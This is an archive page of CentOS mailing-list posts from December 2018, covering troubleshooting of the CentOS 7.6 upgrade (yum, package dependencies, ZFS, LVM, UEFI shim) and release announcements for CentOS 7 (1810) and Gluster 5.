Hi Everyone: I have been fighting this all morning. I did a new (several) installs of CentOS7. Yum will not update the system. I have disabled ipv6, set yum.conf to use IPv4 only, disabled firewalld, disabled selinux, used both static ip and dhcp for network connectivity. I can ping any where on the Internet, including the mirrors, DNS works and ensured the base URL line was uncommented. Any help would be appreciated. Thanks, Ed This is the latest error I am seeing: [root@localhost ~]# yum check-update Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock error was 14: curl#7 - "Failed connect to mirrorlist.centos.org:80; Operation now in progress" Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=extras&infra=stock error was 14: curl#7 - "Failed connect to mirrorlist.centos.org:80; Operation now in progress" One of the configured repositories failed (Unknown), and yum doesn't have enough cached data to continue. At this point the only safe thing yum can do is fail. There are a few ways to work "fix" this: 1. Contact the upstream for the repository and get them to fix the problem. 2. Reconfigure the baseurl/etc. for the repository, to point to a working upstream. This is most often useful if you are using a newer distribution release than is supported by the repository (and the packages for the previous distribution release still work). 3. Run the command with the repository temporarily disabled yum --disablerepo=<repoid> ... 4. Disable the repository permanently, so yum won't use it by default. Yum will then just ignore the repository until you permanently enable it again or use --enablerepo for temporary usage: yum-config-manager --disable <repoid> or subscription-manager repos --disable=<repoid> 5. Configure the failing repository to be skipped, if it is unavailable. Note that yum will try to contact the repo. when it runs most commands, so will have to try and fail each time (and thus. yum will be be much slower). If it is a very temporary problem though, this is often a nice compromise: yum-config-manager --save --setopt=<repoid>.skip_if_unavailable=true Cannot find a valid baseurl for repo: extras/7/x86_64

2 2

CentOS-announce Digest, Vol 166, Issue 2
by centos-announce-request＠centos.org 07 Dec '18

07 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. Announcing the release of Gluster 5 on CentOS Linux 7 x86_64 (Niels de Vos) 2. CEBA-2018:3764 CentOS 6 autofs BugFix Update (Johnny Hughes) 3. CESA-2018:3760 Important CentOS 6 ghostscript Security Update (Johnny Hughes) 4. CEBA-2018:3763 CentOS 6 kernel BugFix Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 5 Dec 2018 19:24:49 +0100 From: Niels de Vos <ndevos(a)redhat.com> To: centos-announce(a)centos.org Subject: [CentOS-announce] Announcing the release of Gluster 5 on CentOS Linux 7 x86_64 Message-ID: <20181205182449.GL4068@ndevos-x270> Content-Type: text/plain; charset="us-ascii" I am happy to announce the General Availability of Gluster 5 for CentOS 7 on x86_64. These packages are following the upstream Gluster Community releases, and will receive monthly bugfix updates. Gluster 5 is expected to receive updates until the end of October 2019. The maintanance and release schedule can be found at: https://www.gluster.org/community/release-schedule/ Users of CentOS 7 can now simply install Gluster 5 with only these two commands: # yum install centos-release-gluster # yum install glusterfs-server The centos-release-gluster package is delivered via CentOS Extras repos. This contains all the metadata and dependency information, needed to install Gluster 5. The actual package that will get installed is centos-release-gluster5. Users of Gluster 4.1 can stay on that release until June 2019. Users of Gluster 4.0 and earlier will need to manually upgrade by uninstalling the centos-release-gluster-legacy package, and replacing it with either the Gluster 5 or 4.1 version. Additional details about the upgrade process are linked in the announcement from the Gluster Community: https://lists.gluster.org/pipermail/announce/2018-October/000115.html We have a quickstart guide specifically built around the packages are available, it makes for a good introduction to Gluster and will help get you started in just a few simple steps, this quick start is available at https://wiki.centos.org/SpecialInterestGroup/Storage/gluster-Quickstart More details about the packages that the Gluster project provides in the Storage SIG is available in the documentation: https://wiki.centos.org/SpecialInterestGroup/Storage/Gluster The centos-release-gluster* repositories offer additional packages that enhance the usability of Gluster itself. Utilities and tools that were working with previous versions of Gluster are expected to stay working fine. If there are any problems, or requests for additional tools and applications to be provided, just send us an email with your suggestions. The current list of packages that is (planned to become) available can be found here: https://wiki.centos.org/SpecialInterestGroup/Storage/Gluster/Ecosystem-pkgs We welcome all feedback, comments and contributions. You can get in touch with the CentOS Storage SIG on the centos-devel mailing list (https://lists.centos.org ) and with the Gluster developer and user communities at https://www.gluster.org/mailman/listinfo , we are also available on irc at #gluster on irc.freenode.net, and on twitter at @gluster . Cheers, Niels de Vos Storage SIG member & Gluster maintainer

1 0

CVE-2018-1002105
by Adam Bishop 07 Dec '18

07 Dec '18

There was a critical vulnerability in Kubernetes published earlier in the week - CVE-2018-1002105. The vulnerability has been patched both the upstream project and by TUV, but the fix doesn't seem to have made it into the CentOS OpenShift build for 3.11: http://mirror.centos.org/centos/7/paas/x86_64/openshift-origin311/ The fixed version is 3.11.43, version on the mirror is 3.11.0. I'm not 100% certain of the support state of OpenShift in CentOS as it's maintained by a SIG, so what needs to happen to get the vulnerability patched for CentOS? Adam Bishop gpg: E75B 1F92 6407 DFDF 9F1C BF10 C993 2504 6609 D460 jisc.ac.uk Jisc is a registered charity (number 1149740) and a company limited by guarantee which is registered in England under Company No. 5747339, VAT No. GB 197 0632 86. Jisc’s registered office is: One Castlepark, Tower Hill, Bristol, BS2 0JA. T 0203 697 5800. Jisc Services Limited is a wholly owned Jisc subsidiary and a company limited by guarantee which is registered in England under company number 2881024, VAT number GB 197 0632 86. The registered office is: One Castle Park, Tower Hill, Bristol BS2 0JA. T 0203 697 5800.

1 0

invalid base url
by Jerry Geis 07 Dec '18

07 Dec '18

I have a number of updates to C7.6 but now I am getting Cannot find a valid baseurl for repo base/7/x86_64 Did something happen? What do I do ? This machine has internet access and appears to resolve other sites. I get a list when trying to access mirrorlist... Thanks, Jerry

2 1

Audacious broken on CentOS 7.6
by Nicolas Kovacs 07 Dec '18

07 Dec '18

Hi, Looks like the Audacious audio player from EPEL (which has worked fine in previous versions) is broken under CentOS 7.6. It refuses to start, and when I try to start it from the command line, here's what I get. [microlinux@bernadette:~] $ rpm -qa | grep audacious audacious-3.9-1.el7.x86_64 audacious-libs-3.9-1.el7.x86_64 audacious-plugins-3.9-1.el7.x86_64 [microlinux@bernadette:~] $ audacious ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Effect/ladspa.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/skins.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/statusicon.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/alarm.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/delete-files.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/notify.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/gtkui.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/hotkey.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/gnomeshortcuts.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/playlist-manager.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/search-tool.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/albumart.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/aosd.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/lyricwiki.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Visualization/blur_scope.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Visualization/cairo-spectrum.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Visualization/gl-spectrum.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-init.cc:147 [start_required]: No interface plugin found. (Did you forget to install audacious-plugins?) Abandon Any idea what's wrong here ? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

3 3

ZFS fails with C7 957
by david 07 Dec '18

07 Dec '18

Folks I have two USB connected drives, configured as a mirrored-pair in ZFS. It's been working fine UNTIL I updated Centos from 3.10.0-862.14.4.el7.x86_64 to 3.10.0-957.1.3.el7.x86_64 The import of the pools didn't happen at boot. When I tried executing: zpool list I got the diagnostic suggesting I do /sbin/modprobe zfs And that command claimed the module didn't exist. YUM claims my updates are all up-to-date. I had to revert back to 862. Help? David

3 2

Re: [CentOS] Update failure: Mate requires libgtop-2.0.so.10
by Richard 06 Dec '18

06 Dec '18

> Date: Monday, December 03, 2018 20:41:20 -0600 > From: Frank Cox <theatre(a)sasktel.net> > > I just tried updating this laptop to the shiny new Centos version > and it appears that Mate doesn't like the new version of libgtop, > as you can see here: > > Error: Package: marco-1.16.1-3.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) > Error: Package: mate-applets-1.16.0-1.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) > Error: Package: mate-disk-usage-analyzer-1.16.1-1.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) > Error: Package: mate-system-monitor-1.16.0-1.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) Updated versions of those @epel packages are in the epel-testing repo, which resolved this issue for me when I updated using the CR repo a couple of weeks ago.

3 2

Bastion server
by Ilyass Kaouam 06 Dec '18

06 Dec '18

Hi, Please can you give me an equivalent off Wallix but open source? Thanks Ilyass KAOUAM SysAdmin

4 7

Firefox showing bogus sites after 'yum update'
by Gary Stainburn 06 Dec '18

06 Dec '18

I have just done a yum update for the first time in a while, and as part of that I believe Firefox got upgraded. After the reboot I restarted Firefox which had been closed down with the option to retain all open tabs/windows. However, when I restarted Firefox it had three new tabs, one being the ususal Firefox upgrade page. The other two were Phishing sites, one pretending to be Amazon the other I cannot remember. Has anyone else experienced this?

1 0

CentOS 7.6.1810 UEFI/Shim issue .. feedback wanted !
by Fabian Arrotin 06 Dec '18

06 Dec '18

We got some reports from people unable to reboot their nodes after updating to 7.6.1810, and basically to newer shim (v15). It seems to affect only nodes in UEFI mode, but without SecureBoot. We wrote that in the ReleaseNotes, including a link to the bug report : https://bugs.centos.org/view.php?id=15522 We have now a workaround in that bug report, and also a new interim build (not signed by Microsoft yet) but we need feedback , as the only node on which I could test this myself is my old 2008 iMac computer .. :-( Once we'll have enough positive (but also negative) feedback about this new build, we'll be able to send to Microsoft for signing and so consider that bug closed. Worth also noticing that if we can have that ready in the updates, we'll be able to spin a monthly iso that will then work on such uefi nodes too. Kind Regards, -- Fabian Arrotin The CentOS Project | https://www.centos.org gpg key: 56BEC54E | twitter: @arrfab

2 1

LVM failure after CentOS 7.6 upgrade -- possible corruption
by Gordon Messmer 06 Dec '18

06 Dec '18

I've started updating systems to CentOS 7.6, and so far I have one failure. This system has two peculiarities which might have triggered the problem. The first is that one of the software RAID arrays on this system is degraded. While troubleshooting the problem, I saw similar error messages mentioned in bug reports indicating that sGNU/Linux ystems would not boot with degraded software RAID arrays. The other peculiar aspect is that the system uses dm-cache. Logs from some of the early failed boots are not available, but before I completely fixed the problem, I was able to bring the system up once, and captured logs which look substantially similar to the initial boot. The content of /var/log/messages is here: https://paste.fedoraproject.org/paste/n-E6X76FWIKzIvzPOw97uw The output of lsblk (minus some VM logical volumes) is here: https://paste.fedoraproject.org/paste/OizFvMeGn81vF52VEvUbyg As best I can tell, the LVM tools were treating software RAID component devices as PVs, and detecting a conflict between those and the assembled RAID volume. When running "pvs" on the broken system, no RAID volumes were listed, only component devices. At the moment, I don't know if the LVs that were activated by the initrd were backed by component devices or the RAID devices, so it's possible that this bug might corrupt software RAID arrays. In order to correct the problem, I had to add a global_filter to /etc/lvm/lvm.conf and rebuild the initrd (dracut -f): global_filter = [ "r|vm_.*_data|", "a|sdd1|", "r|sd..|" ] This filter excludes the LVs that contain VM data, accepts "/dev/sdd1" which is the dm-cache device, and rejects all other partitions on SCSI(SATA) device nodes, as all of those are RAID component devices. I'm still working on the details of the problem, but I wanted to share what I know now in case anyone else might be affected. After updating, look at the output of "pvs" if you use LVM on software RAID.

4 7

CR repo update disaster for my desktop.
by Rob Kampen 05 Dec '18

05 Dec '18

I have a centos 7.5 desktop workstation with dual nvidia graphic cards running three monitors. I use the i915 motherboard graphics adapter for the third monitor with bumblebee to work the magic to enable the three contiguous work spaces. I use the kmod nvidia drivers for the two graphics cards. This has worked without a hitch for 5 months until this weekend. I enabled the CR repo and did the yum update. Some 800+ rpms were offered and all seemed to resolve depenancies OK, so yes it was started. The updates completed and all looked good, until the reboot. Initially the new kernel would boot just fine but the gdm/gnome desktop hung. No login offered. Reboot and select previous kernel, great, offered login, but the desktop barely settles before gnome crashes, and gdm restarts and I get to login afresh. Eventually I have, removed bumblebee, disabled the on board graphics adapter, reinstalled gnome multiple times, removed nvidia drivers, blown away my .gnome and related folders, tried as a new user, (no customizations of the desktop) all to no avail. Current situation is under my user account cannot get stable desktop for more than 10 seconds before it sends segfault error 4 in libc-2.17.so What do I do now? Seems that these big updates need to be applied in sub batches with reboots in between so that one can back out. Any ideas appreciated. Rob ⁣Sent from BlueMail

9 16

Accidentally nuked my system - any suggestions ?
by Nicolas Kovacs 05 Dec '18

05 Dec '18

Hi, My workstation is running CentOS 7 on two disks (sda and sdb) in a software RAID 1 setup. It looks like I accidentally nuked it. I wanted to write an installation ISO file to a USB disk, and instead of typing dd if=install.iso of=/dev/sdc I typed /dev/sdb. As soon as I hit <Enter>, the screen froze. I tried a hard reset, but of course, the boot process would stop short very early in the process. Now, I have backups of the important stuff of course, so no real catastrophe. But it would be nice if I could get back the data from my disk directly. I booted a rescue disk (Slax 9.6.4) and I can see my disks as well as raid arrays /dev/md125, /dev/md126 and /dev/md127. Oh, my partitioning scheme is manual and quite simple. Everything is RAID 1, I have a /boot array on /dev/sda1 + /dev/sdb1, swap on /dev/sda2 + /dev/sdb2 and / on /dev/sda3 + /dev/sdb3. I tried to mount /dev/sda3 directly from the rescue disk: # mount /dev/sda3 /mnt But I only get this: mount: unknown filesystem type 'linux_raid_member' I'd be very grateful for suggestions. Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

5 11

7.5 -> 7.6 problems
by Gregory P. Ennis 05 Dec '18

05 Dec '18

To all, I started the process of updating some of our systems from 7.5 to 7.6. Most of the servers had no problems, but several of the desktops had some difficulties. I was required to perform several yum commands to update as much as possible in the format of yum update a* then b* etc. Then after I got everything updated that would update in this manner and after the use of "rpm -Va --nofiles --nodigest" and with the use of yum update --skip-broken I am getting the following that would not update : Packages skipped because of dependency problems: libvirt-bash-completion-4.5.0-10.el7_6.3.x86_64 from updates libvirt-client-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-config-network-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-config-nwfilter-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-interface-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-lxc-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-network-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-nodedev-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-nwfilter-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-qemu-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-secret-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-storage-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-storage-core-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-storage-disk-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-storage-gluster-4.5.0-10.el7_6.3.x86_64 from upd libvirt-daemon-driver-storage-iscsi-4.5.0-10.el7_6.3.x86_64 from upd libvirt-daemon-driver-storage-logical-4.5.0-10.el7_6.3.x86_64 from upd libvirt-daemon-driver-storage-mpath-4.5.0-10.el7_6.3.x86_64 from upd libvirt-daemon-driver-storage-rbd-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-driver-storage-scsi-4.5.0-10.el7_6.3.x86_64 from updates libvirt-daemon-kvm-4.5.0-10.el7_6.3.x86_64 from updates libvirt-devel-4.5.0-10.el7_6.3.x86_64 from updates libvirt-libs-4.5.0-10.el7.x86_64 from base libvirt-libs-4.5.0-10.el7_6.2.x86_64 from updates libvirt-libs-4.5.0-10.el7_6.3.x86_64 from updates libvirt-python-4.5.0-1.el7.x86_64 from base Is there something I can do to finish this process or is this just related to a repository problem. -- Greg Ennis

2 3

Issue updating to 7.6
by Jerry Geis 05 Dec '18

05 Dec '18

Hi all... Great work on 7.6! I updated a number of boxes - all good! This "one" server I lost connection through the internet or something... Anyway 702 transactions left and its not happy. When I run yum-complete-transaction I get "many" Removing man-db.x86_64 0:2.6.3-9.el7 - ud from the transaction Removing man-db.x86_64 0:2.6.3-11.el7 - u from the transaction Removing python-ethtool.x86_64 0:0.8-5.el7 - ud from the transaction Removing python-ethtool.x86_64 0:0.8-7.el7 - u from the transaction Removing iprutils.x86_64 0:2.4.15.1-1.el7 - ud from the transaction Removing iprutils.x86_64 0:2.4.16.1-1.el7 - u from the transaction Removing strace.x86_64 0:4.12-6.el7 - ud from the transaction Removing strace.x86_64 0:4.12-9.el7 - u from the transaction and then nothing happens.... (This is just a short list) many are printed. Thoughts? What next? Jerry

3 2

Problems compiling kernel module
by Klaus Kolle 05 Dec '18

05 Dec '18

Hi I just upgraded a virtual Centos from 7.5 to 7.6 and now the VirtualBox Extensions won't compile with the kernel. I looked into the log file and found that I should try to execute: make oldconfig && make prepare but I get this result: scripts/kconfig/conf --oldconfig Kconfig # # configuration written to .config # scripts/kconfig/conf --silentoldconfig Kconfig make[1]: *** No rule to make target `arch/x86/syscalls/syscall_32.tbl', needed by `arch/x86/syscalls/../include/generated/uapi/asm/unistd_32.h'. Stop. make: *** [archheaders] Error 2 What could be wrong? |< -- Med venlig hilsen Klaus Kolle Teknikumingeniør, B.Sc.EE., e-mail : klaus(a)kolle.dk Master of IT www : www.kolle.dk Kollundvej 5 Telephone : +4586829682 / +4522216044 DK-8600 Silkeborg, Denmark "Man skal ikke tilskrive til sammensværgelser hvad der tilstrækkeligt kan forklares af inkompetence" Poul Henning Kamp Planlægning er tanker om noget man agter at gøre en gang i fremtiden, hvis omstændighederne tillader det. Klaus Kolle 2006 Perfection is achieved not when nothing more to add, but when there is nothing more left to take away. Antoine de Saint-Exupery

2 1

KVM Bridge Problem
by Günther J. Niederwimmer 05 Dec '18

05 Dec '18

Hello, is this only my mistake,or can help any from the list? I have 3 host computer on different places, but all have the Problem when starting a client "KVM" to connect to the bridge from the host. It is near not possible to start a client, only after 10-20 reboot/restart from the client's the network is starting correct? Is this only on my computers or have other also this Problem? Is the bridge software is broken ? Can I use openvswitch to replace bridge Software? Any help are welcome ;-) -- mit freundliche Grüßen / best regards, Günther J. Niederwimmer

3 3

C7 Bacula and Selinux
by Alessandro Baggi 05 Dec '18

05 Dec '18

Hi list, I'm trying to understand SELinux on C7. I encountered problem running bacula when system is enforced. The problem is when bacula try to run BeforeJobScript. In this script there is an occourrence to systemctl stop httpd and hostname command and I got error on permission on this 2 commands. Reading RHEL 7 SELinux Guide seems that I need a domain transaction but I don't know how to solve this. Can someone put me in the right direction? Thanks in advance.

1 1

Dell server dropping packets
by Jerry Geis 04 Dec '18

04 Dec '18

Hi All - I have a Dell R430 server running CentOS 7.5 that is dropping packets on the network. Its connected to Cisco switch at AUTO for the port. The server reports 1000M on the network. I even changed the setting for the switch to 1000M full, that did not seem to make a difference either. What else might I look at as to why its dropping packets? Its mainly 90'ish percent idle. so not doing much at this time. I have no idea what else is happening on the network. I set a windows box on the same network and just did a "ping" to the server and once in a while it lost the packets or my putty connection dropped etc... Thoughts? Ideas? Thanks! Jerry

4 3

Centos-release src rpm.
by me＠tdiehl.org 04 Dec '18

04 Dec '18

Hi, Any chance someone (Johnny?) could point me towards the latest centos-release src rpm? Regards, -- Tom me(a)tdiehl.org

4 3

Unable to load dynamic library 'twig.so'
by Ilyass Kaouam 04 Dec '18

04 Dec '18

I have this problem. Ca you please help me : php -v PHP Warning: PHP Startup: Unable to load dynamic library 'twig.so' (tried: /usr/lib64/php/modules/twig.so (/usr/lib64/php/modules/twig.so: undefined symbol: zval_used_for_init), /usr/lib64/php/modules/twig.so.so (/usr/lib64/php/modules/twig.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PHP 7.2.11 (cli) (built: Oct 11 2018 19:14:35) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.2.11, Copyright (c) 1999-2018, by Zend Technologies -- *Ilyass kaouam* *Ingénieur System OpenSource* *Mastère européen Manager de Projets Informatiques*

2 1

CentOS-announce Digest, Vol 166, Issue 1
by centos-announce-request＠centos.org 04 Dec '18

04 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. Release for CentOS Linux 7 (1810) on the x86_64 Architecture (Johnny Hughes) 2. Release for CentOS Linux 7 (1810) on aarch64 i386 ppc64le and power9 (Pablo Sebasti?n Greco) 3. Release for CentOS Linux 7 (1810) on armhfp (Pablo Sebasti?n Greco) ---------------------------------------------------------------------- Message: 1 Date: Mon, 3 Dec 2018 09:18:22 -0600 From: Johnny Hughes <johnny(a)centos.org> To: CentOS-Announce <centos-announce(a)centos.org> Subject: [CentOS-announce] Release for CentOS Linux 7 (1810) on the x86_64 Architecture Message-ID: <1cf9af45-fd45-b32e-0aea-eae0ff9966d1(a)centos.org> Content-Type: text/plain; charset="utf-8" We are pleased to announce the general availability of CentOS Linux 7 (1810) for the x86_64 architecture. Effectively immediately, this is the current release for CentOS Linux 7 and is tagged as 1810, derived from Red Hat Enterprise Linux 7.6 Source Code. As always, read through the Release Notes at : http://wiki.centos.org/Manuals/ReleaseNotes/CentOS7 - these notes contain important information about the release and details about some of the content inside the release from the CentOS QA team. These notes are updated constantly to include issues and incorporate feedback from the users. ---------- Updates, Sources, and DebugInfos Updates released since the upstream release are all posted, across all architectures. We strongly recommend every user apply all updates, including the content released today, on your existing CentOS Linux 7 machine by just running 'yum update'. As with all CentOS Linux 7 components, this release was built from sources hosted at git.centos.org. In addition, SRPMs that are a byproduct of the build (and also considered critical in the code and buildsys process) are being published to match every binary RPM we release. Sources will be available from vault.centos.org in their own dedicated directories to match the corresponding binary RPMs. Since there is far less traffic to the CentOS source RPMs compared with the binary RPMs, we are not putting this content on the main mirror network. If users wish to mirror this content they can do so using the reposync command available in the yum-utils package. All CentOS source RPMs are signed with the same key used to sign their binary counterparts. Developers and end users looking at inspecting and contributing patches to the CentOS Linux distro will find the code hosted at git.centos.org far simpler to work against. Details on how to best consume those are documented along with a quick start at : http://wiki.centos.org/Sources Debuginfo packages are also being signed and pushed. Yum configs shipped in the new release file will have all the context required for debuginfo to be available on every CentOS Linux install. This release supersedes all previously released content for CentOS Linux 7, and therefore we highly encourage all users to upgrade their machines. Information on different upgrade strategies and how to handle stale content is included in the Release Notes. Note that older content, obsoleted by newer versions of the same applications are trim'd off from repos like Extras/ and Plus/ However this time we have also extended this to the SIG content hosted at mirror.centos.org, and some older End of Life content has been dropped. Everything we ever release, is always available on the vault service for people still looking for and have a real need for it. ---------- Download In order to conserve donor bandwidth, and to make it possible to get the mirror content sync'd out as soon as possible, we recommend using torrents to get your initial installer images: Details on the images are available on the mirrors at http://mirror.centos.org/centos/7/isos/x86_64/0_README.txt - that file clearly highlights the difference in the images, and when one might be more suitable than the others. sha256sum x86_64: 3213b2c34cecbb3bb817030c7f025396b658634c0cf9c4435fc0b52ec9644667? CentOS-7-x86_64-LiveGNOME-1810.iso 38d5d51d9d100fd73df031ffd6bd8b1297ce24660dc8c13a3b8b4534a4bd291c? CentOS-7-x86_64-Minimal-1810.iso 6d44331cc4f6c506c7bbe9feb8468fad6c51a88ca1393ca6b8b486ea04bec3c1? CentOS-7-x86_64-DVD-1810.iso 87623c8ab590ad0866c5f5d86a2d7ed631c61d69f38acc42ce2c8ddec65ecea2? CentOS-7-x86_64-LiveKDE-1810.iso 918975cdf947e858c9a0c77d6b90a9a56d9977f3a4496a56437f46f46200cf71? CentOS-7-x86_64-Everything-1810.iso 19d94274ef856c4dfcacb2e7cfe4be73e442a71dd65cc3fb6e46db826040b56e? CentOS-7-x86_64-NetInstall-1810.iso Information for the torrent files and sums are available at http://mirror.centos.org/centos/7/isos/x86_64 -------- Additional Images The container, Vagrant, Cloud and Atomic Host images are being prepared and will be released in the next few days. Look for an announcement posted to the centos-announce list for more information on availability for these in the coming days. ---------- Getting Help The CentOS ecosystem is sustained by community driven help and guidance. The best place to start for new users is at http://wiki.centos.org/GettingHelp We are also on social media, you can find the project: on Twitter at? : http://twitter.com/CentOSProject on Facebook at : https://www.facebook.com/groups/centosproject/ on LinkedIn at : https://www.linkedin.com/groups/22405 And you will find the core team and a majority of the contributors on irc, on freenode.net in #centos ; talking about the finer points of distribution engineering and platform enablement. ---------- Contributors This release was made possible due to the hard work of many people, foremost on that list are the Red Hat Engineers for producing a great distribution and the CentOS QA team, without them CentOS Linux would look very different. Many of the team went further and beyond expectations to bring this release to you, and I would like to thank everyone for their help. We are also looking for people to get involved with the QA process in CentOS, if you would like to join this please introduce yourself on the centos-devel list (http://lists.centos.org/mailman/listinfo/centos-devel ). Finally, please join me in thanking the donors who all make this possible for us. Enjoy the fresh new release! Thanks, Johnny Hughes

1 0

Update failure: Mate requires libgtop-2.0.so.10
by Frank Cox 04 Dec '18

04 Dec '18

